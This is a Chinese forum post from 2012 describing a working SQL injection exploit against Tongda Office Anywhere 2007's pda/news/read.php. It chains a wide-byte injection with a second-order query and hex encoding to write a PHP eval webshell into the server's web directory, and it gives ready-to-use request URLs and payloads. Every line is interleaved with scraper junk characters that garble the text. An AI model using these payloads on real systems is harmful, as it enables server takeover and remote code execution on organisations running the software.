目前测试通达OA2007版本8 t5 D8 I3 o* N8 F4 B, I
0 F. k; Y/ z5 z! E1 T& v: M: g
% ?4 c5 X+ C8 ?/ C- x
Office Anywhere 2007 网络智能办公系统7 P* W |: R9 R6 {. ]* `( W. A
# f7 R0 }% S' \& T
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..5 G0 P* T( L% Q# T9 B' h. G
' P9 f* M5 h. `& T
, f" e3 U+ P* l/ b& K这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
5 k% n( R9 ^) |/ K! I- }( k
5 ^" T0 {% `' e6 N! E% E例如：SELECT * from USER where USER_ID='{$USERNAME}' & ~) P+ s2 Y/ u& {' p
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了' N" w& k9 z6 f$ e" ^. X" `% s
; ]9 h i4 W' y# g, R8 t, H6 w/ r) c这个时候我们是不是可以组合起来使用哪？
% Z; C. A ^* \: K, R" K
# b2 A' k; e: t第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样) ^+ [! H6 }/ d' m9 y# h4 c) y
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
: }; J% e. r. b
0 v" C" [5 f1 q, v9 J4 C7 U: q这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
+ j W5 Z8 J+ C* a/ e& {, Y: o( q
, o3 H9 h: ~2 E3 ^+ Z1 j那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
* i5 a) {, [7 g8 o
C5 c+ O' R1 {) r$ B- C那么我们用字符串格式带入进行hex编码0 v# c* R3 o& }& i: n
+ G; f2 g1 H/ m% ]0 A% A$ S b
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
1 N2 L, E& y `" p/ Z
- O; Y' G# A% o3 [, d7 m" v0 S测试ok，获取oa的webshell
" H3 F# [& V* R' n( l+ g( N 1 A# O( }' K7 c k5 ?; A
& U4 r( H( W, j( u9 h" ^ V3 ?! S
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%235 W! E* Z! s& d- T2 K2 Y' F2 n
直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对